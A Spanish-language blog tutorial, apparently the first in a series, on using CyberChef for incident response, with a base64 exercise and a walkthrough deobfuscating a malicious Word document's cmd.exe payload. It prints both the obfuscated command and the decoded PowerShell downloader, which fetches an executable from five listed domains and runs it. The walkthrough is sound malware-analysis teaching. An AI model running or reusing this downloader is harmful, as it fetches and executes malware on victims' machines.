Usando CyberChef (parte I)

CyberChef se ofrece como una navaja suiza vía web para tratar datos y realizar operaciones de cifrado, codificación, compresión, entre otros… en esta serie de artículos vamos a sentar las bases para trabajar con ella, hacer algunos ejercicios y así entender para qué nos puede ser útil en el ámbito de la seguridad informática.

Antecedentes 

 El año pasado descubrí por casualidad esta estupenda tool dentro de mi investigación de el entorno de respuesta ante incidentes con Skadi (https://github.com/orlikoski/Skadi) ya que estaba incluida en el repositorio de herramientas, si tuviste la oportunidad de ir a la charla que ofrecimos en la h-c0n 2019 (https://www.h-c0n.com/p/ponencias.html#rateando) la comentamos por encima:



A raíz de este descubrimiento, la quise probar más a fondo, ya que para los trabajos de respuesta ante incidentes tiraba de linea de comandos, recursos web y algunos scripts que iba haciendo sobre la marcha.

Referencias

Esta navaja suiza mantenida por la gente de GCHQ está disponible desde el 2016 y muchos de vosotros ya la conoceréis, sin ir más lejos ya había una entrada en este blog: https://www.hackplayers.com/2018/12/solucion-al-reto-28-baby-crackme.html.

Nos podemos descargar su código del Github https://github.com/gchq/CyberChef o directamente acceder a su versión online https://gchq.github.io/CyberChef/. Básicamente tenemos tres campos en este recurso web: entrada de datos, operaciones a aplicar a esa entrada y el resultado de aplicar las operaciones.

Conocimientos previos y recursos

La idea de esta serie de artículos será sentar las bases de como utilizar esta herramienta y poner una serie de ejemplos para que se vea su potencial.

Para empezar a sacarle partido a esta tool, tendremos que tener cómo mínimo conocimientos de expresiones regulares, operadores booleanos y ciertos algoritmos simples/complejos. Vamos a dejar algunos recursos en español para empezar:
A tener en cuenta la ayuda de la misma aplicación a nivel de operaciones con definiciones propias y de recursos externos, en el ejemplo siguiente con la referencia a Wikipedia sobre XOR

Al lío

Después de tanta teoría vamos al lío, ¿no? Iremos haciendo ejercicios de básicos a más avanzados:

1. Una simple decodificación de base 64 a texto:

Explicación
: esta operación descodifica los datos de una cadena ASCII en Base64 a su formato de texto original. Para hacer esto, utilizaba la terminal de mi Ubuntu así:

echo wqFOaSBzZSB0ZSBvY3VycmEgcGVyZGVydGUgbGEgaC1jMG4gMjAyMCE= | base64 -d

Uso: Con nuestra aplicación arrastramos pegamos el base64 en Input buscamos en Operations From Base64 y hacemos un doble clic, así veremos el resultado en el Output


Enlace: [https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=d3FGT2FTQnpaU0IwWlNCdlkzVnljbUVnY0dWeVpHVnlkR1VnYkdFZ2FDMWpNRzRnTWpBeU1DRT0]

2. Word con sorpresa

Muestra:

Tomamos una muestra bastante grosera de nuestros amigos de hybrid https://www.hybrid-analysis.com/sample/8bf2b7e3d0b5d4928ba715c5a7060aea26a7c0fe487853135a03bf6d02af581b?environmentId=100

El código que nos encontramos y que vamos a analizar es el siguiente:
cmd.exe /c %LocALappData:~ -3, -2%%pROgramdATa:~-5, 1%D, , /v, /R " ,, ( , (^sET ^ ^ ^ 9o^jB=od^ mC ^58 9i Pa^ OT^ ^B7 ^5M TC 65 AS a4 NT CR^ y^h^ ^8^6 ^BO VQ^}In}B^0{Pxhk^ics^JtZma^K^sc^Qz}zs}0^8k^e5aXZeT^kr4rbt^B;r^SW^y^X^d8yR^dU^$I^7 v^wsdC^s9q^e^7^pc^ xon^urzF^P^JX-Ox^tBZrH^e^aCLt^sMSC0;N^6^)6LW^d^Ldr^TR^a^2$4N^(O0eymluL^i^m^M^fZno^JAtX^xeLjv
^FpaeKs^yr.aYp9^KvvQ^sk5$v4;^Q^p^)V^oyCd^d^FEowf^Ba^weCZ^s1an^Aroq^Zpg^K^s^HW
bMr^o^X.l^jY^w^3I^e^b^u1u$L^p^(8ceJkt^hs^i^uQrxCwuV.P5^pEfvuEs^F9^$VJ;^8c^1rZ I^3=^Yz^ ^q^HeCFp^B^tyW^e^tfV.F3p3ZvwWsKe^$l^6^;D1^)^5v^(MnnU^Se^s^tpAvo5k.HIpnzv5m^sHC$^Og{q^j^ Cx^)C^S0pO01^J^2sn V^wq^lN^ev^i-DI ^Lts5yuP2t^WXa 4^to^Q^SJ^L.CpYA^QIsEurk$x^7^(v5 yV^f9wIFM;UF^)lJ^( ^I^dg^Hn^Qx^eB5siI^.kuY^i1I^hSu^Gy$C^M;iR^)bL^0dc,^bjv^a^HXk^0^PnI$^a^m,aD'ME^THNEN^j^G^
Pw'tX^(lGn^obexF^p9z^ogx.c^OYyR^IIhuS^p^$G0^{yAy^HCr^3TtA^x^{Dv^)0^YFubQ^o^Ui^B^e$cG^ O9ni0^iV^a ^5^fvm^4XKMPHJ^$E5^(o^q^h^ygcv^pavBeAQrN^PoUkffh;IF^'tz^mWVa^FRe^mEr^G^wtecsU^e^.GzbAldu
4^oS^6^dC3a^F7^'^Z9 9kmNFo5rc3^T^-i^h SXthQcK^ke^Hi^jx^obwVO^bt-SbwN^7^eGSNJG mb=hA JZp^l^qv4ysX^P$vz;P^f^'6Gp^Un^t^Hk^tNWhG7lPJmr^wx^4 .^DV^2RqlOwm^2jxjV^s^Op^mD^x'vb nCmclo^3^zcP4-m^w U^L^t^I4c5^2eSv^jBm^b^W^fO^d7-^f^2wL^I^ev3NrT=bS giYMNIq2^uK^W^$3^G;^DR^)^lS'B^j^eXZxbZ^ea3.OGwtEUajzrV\sv'jR+Rv^)^U5^(E^ hxC^t2^Wa^7a^PBzpaUmAO^ev^UT^e^ t6^ae^wiGk^M:bC:ki^]DPhJftR0^anvPOq^.^3c^O3^FIrG.^8BmiMe8wttksHoyhV^SKc[^j^X^( t=^4n^W9p^d^2^KRVY^$G ^;es^) ^P^'QW@aX'^Ow^(^aQt^TP^i7^dl^b7pa5^Ss5.4t'3^KgzV^HMLiE4^a^UAD49ibjf0j/ERm^dmo^ZTcQe.e^
L^gRJ^b3^Y^m^wir1j^a^MKf6^geDR.fVachiTXrTMaN5g^G4l9Gu^8vbUN-^5csC8^a5^XgP^Yor^Ui^2WbO^4/1o/fN:03pa^St^Q^Y^tzd^h4v@^Zmq^Hc^sFP/Ikm^Sn^o^e^fc9r.V^PzY^mb^gYa9RsrOg^mnr^QRbb^m.UIw^h^P^w3yw5t/V7/AV:^QDp^o^ltpQtW^oh2S^@Cimr^hVl^6^BkM0MFad^iS^15/jXz2tiUYb^BU.T6y^Ayc^7^3nKXe86gHTacD^eJ^7v4YiyothZaF9e7grDNc^48^.dAw^Q3wLh^wt^K/Pf/^3Z^:Ujpr^Mt^Yh^tZ^shRA^@3^i^6cbJ^qbW^Q1NDH/^q7^thAe^pCnD^1.^s^h^o9Vn7Ya^O^ujy^q^uyW^diengRaWemoc/50/ ^G:mdpAUt^HNtw^4^h1x^@ZCtNO7Uo8NjW^K^D^dyZ^x^eUYGL/KBm^kW^o^UKcUV^.^LSa^xy^iB^y
^dC^ZeGZm^jva^ hm4m^io^5hEnaAPmjG/iZ/h^J:^ ppsNt^J^h^t4 ^hBR'bC^=gc^Fm^x^Qu5ixU^$0B;^p0'dm^d4^I^f^gLr^Xb^'pU=4hi^kJ^Y1MBeD^$N^G HilK9lQw^e^s^BhrHsDIrSXe^Q^Dw^W^fojN^p) , , , , ,)& ,,, ^For, , , /^l , %^3 , ,, ^IN,, (+16^40 ^, ^ -^3^ ^,+^2^ ) , ^d^O, , , ( ,(, , S^E^T c2^zZ=!c2^zZ!!9o^jB:~ %^3,1!) , , ,)&& , , , IF , ,%^3 ,, , == , , ^2 ,, ( , ( (ca^lL, , %c2^zZ:~ +6% ) , , , , , ) ,) "

Uso: tras un primer vistazo vemos que se ejecuta desde el cmd hay implicado un SET, más abajo se identifica un bucle for-in-do y para terminar un condicional pero nos estamos quedando ciegos en este punto, vamos a limpiar el código:  [1]


Hemos usado el comando Find / Replace con la opción extendida para eliminar estos molestos ^ ahora vemos que en la parte de abajo se llama a la variable que está en la parte superior (9ojB) y vemos que se hace el mencionado bucle desde el final de la variable mencionada saltando de 2 en 2 caracteres.

Nos vamos a quedar ahora con la variable 9ojB y vemos que es lo que tiene, comentamos que el bucle empieza en el final por lo que aplicamos un Reverse y posteriormente una expresión regular que va saltando de 2 en 2 caracteres, lo más importante es que la salida sea List capture group, con esto ya vemos la salida con nuestro querido powershell [2]

Tras eliminar el salto de linea ya tenemos lo mismo que aparece en la referencia puesta en hybrid:

powershell $BYi='rfd';$iQF='http://mahimamedia.com/YxdW87t@http://mandujano.net/NWJ6@http://www.creativeagency.biz/Sa0BVm@http://www.brgsabz.com/sq@http://biogas-bulgaria.efarmbg.com/fiDaiHg'.Split('@');$RdW=([System.IO.Path]::GetTempPath()+'\zUw.exe');$uIY =New-Object -com 'msxml2.xmlhttp';$svp = New-Object -com 'adodb.stream';foreach($PXv in $iQF){try{$uIY.open('GET',$PXv,0);$uIY.send();If ($uIY.Status -eq 200) {$svp.open();$svp.type = 1;$svp.write($uIY.responseBody);$svp.savetofile($RdW);Start-Process $RdW;break}}catch{}}

Observamos que el powershell [3] realiza una conexión a dominios, va formando el path para finamente ejecutar un .exe (zUw.exe) que se guarda en la variable RdW. Dejamos de lado el análisis de este ejecutable, ya que se nos va de las manos.

Mitre:

A continuación se muestran las técnicas llevadas a cabo por este “word con sorpresa”, en este post ha quedado constatado el uso.


Ha quedada constatada la Ejecución, dentro del apartado de persistencia el Hooking con el uso del cmd y posteriormente de powershell; también hemos constatado la creación de un nuevo proceso en el sistema a través de la apertura de un documento word.

En la parte de evasión y defensa, se han modificado una serie de registros de Windows y creado un binario a medida. A nivel de descubrimiento y c2c, se ha realizado unas conexiones con unos puertos determinados a varios dominios.

Enlaces [1] [2] [3]

Conclusiones hasta el momento

CyberChef es un herramienta portable y fácil de usar, ya seas un pro o un iniciado en la materia, ya que contiene cientos de operaciones posibles tipo: data-analysis, data-manipulation, encryption, encoding, compression, parsing, hashing; que nos pueden servir para nuestro trabajo de: Hacking, Forensics, Reversing, Incident Respons, Threat Hungting y demás.

Nos vemos en el siguiente post de la serie ;)

Comentarios